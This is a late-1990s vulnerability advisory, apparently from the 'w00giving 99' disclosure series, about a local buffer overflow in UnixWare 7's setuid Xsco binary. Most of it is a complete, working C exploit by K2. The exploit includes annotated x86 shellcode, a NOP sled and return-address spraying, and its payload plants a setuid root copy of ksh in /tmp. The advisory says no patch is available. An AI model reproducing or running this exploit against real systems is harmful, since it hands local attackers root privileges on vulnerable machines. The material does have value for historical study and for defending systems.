w00giving 99 -7-
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Discovered by: K2 (ktwo@ktwo.ca)
Due to improper bounds checking, an overflow occurs when a lengthy
argument (argv[1]) is passed. Because Xsco runs with superuser
privileges, this can be exploited for elevated privileges.
-----------------------------------------------------------------------------
Exploit (by K2):
// UnixWare7 /usr/X/bin/Xsco local, K2/cheez
//
// Xsco produces some strange side effect's with the execve; it seems
// that commands can not be run interactively. Thanks to cheez for the
// shellcode.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shell[] =
/* 0 */ "\xeb\x5f" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\x9d" /* movl %eax,-0x63(%esi) */
/* 16 */ "\x88\x46\xa2" /* movb %al,-0x5e(%esi) */
/* seteuid: */
/* 19 */ "\x31\xc0" /* xor %eax,%eax */
/* 21 */ "\x50" /* pushl %eax */
/* 22 */ "\xb0\x8d" /* movb $0x8d,%al */
/* 24 */ "\xe8\xe5\xff\xff\xff" /* call syscall */
/* 29 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* setuid: */
/* 32 */ "\x31\xc0" /* xor %eax,%eax */
/* 34 */ "\x50" /* pushl %eax */
/* 35 */ "\xb0\x17" /* movb $0x17,%al */
/* 37 */ "\xe8\xd8\xff\xff\xff" /* call syscall */
/* 42 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 45 */ "\x31\xc0" /* xor %eax,%eax */
/* 47 */ "\x50" /* pushl %eax */
/* 48 */ "\x56" /* pushl %esi */
/* 49 */ "\x8b\x1e" /* movl (%esi),%ebx */
/* 51 */ "\xf7\xdb" /* negl %ebx */
/* 53 */ "\x89\xf7" /* movl %esi,%edi */
/* 55 */ "\x83\xc7\x10" /* addl $0x10,%edi */
/* 58 */ "\x57" /* pushl %edi */
/* 59 */ "\x89\x3e" /* movl %edi,(%esi) */
/* 61 */ "\x83\xc7\x08" /* addl $0x8,%edi */
/* 64 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 67 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
/* 70 */ "\x83\xc7\x03" /* addl $0x3,%edi */
/* 73 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 76 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
/* 79 */ "\x01\xdf" /* addl %ebx,%edi */
/* 81 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 84 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* 87 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 89 */ "\xe8\xa4\xff\xff\xff" /* call syscall */
/* 94 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 97 */ "\xe8\xa4\xff\xff\xff" /* call start */
/* data: */
/* 102 */ "\xff\xff\xff\xff" /* DATA */
/* 106 */ "\xff\xff\xff\xff" /* DATA */
/* 110 */ "\xff\xff\xff\xff" /* DATA */
/* 114 */ "\xff\xff\xff\xff" /* DATA */
/* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 126 */ "\x2d\x63\xff"; /* DATA */
#define SIZE 600
#define NOPDEF 101
#define DEFOFF -240
#define LEN 102
const char x86_nop=0x90;
long nop=NOPDEF,esp;
long offset=DEFOFF;
char buffer[SIZE];
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[]) {
int i,len;
char *cmd = "cp /bin/ksh /tmp;chmod 4555 /tmp/ksh";
memset(buffer, x86_nop, SIZE);
len = strlen(cmd); len++; len = -len;
shell[LEN+0] = (len >> 0) & 0xff;
shell[LEN+1] = (len >> 8) & 0xff;
shell[LEN+2] = (len >> 16) & 0xff;
shell[LEN+3] = (len >> 24) & 0xff;
if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);
esp = get_esp();
buffer[0]=':';
memcpy(buffer+nop, shell, strlen(shell));
memcpy(buffer+nop+strlen(shell), cmd,strlen(cmd));
memcpy(buffer+nop+strlen(shell)+strlen(cmd),"\xff",1);
for (i = nop+strlen(shell)+1+strlen(cmd); i < SIZE-4; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}
printf("jmp = [0x%x]\toffset = [%d]\tnop = [%d]\n",esp+offset,offset, nop);
execl("/usr/X/bin/Xsco", "Xsco", buffer, NULL);
printf("exec failed!\n");
return 0;
}
-----------------------------------------------------------------------------
Patch:
Because SCO doesn't distribute source code for Unixware, we'll wait for
them to release a patch.
-----------------------------------------------------------------------------
Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum, and
interrupt, k2, cheez, dmess0r, and others
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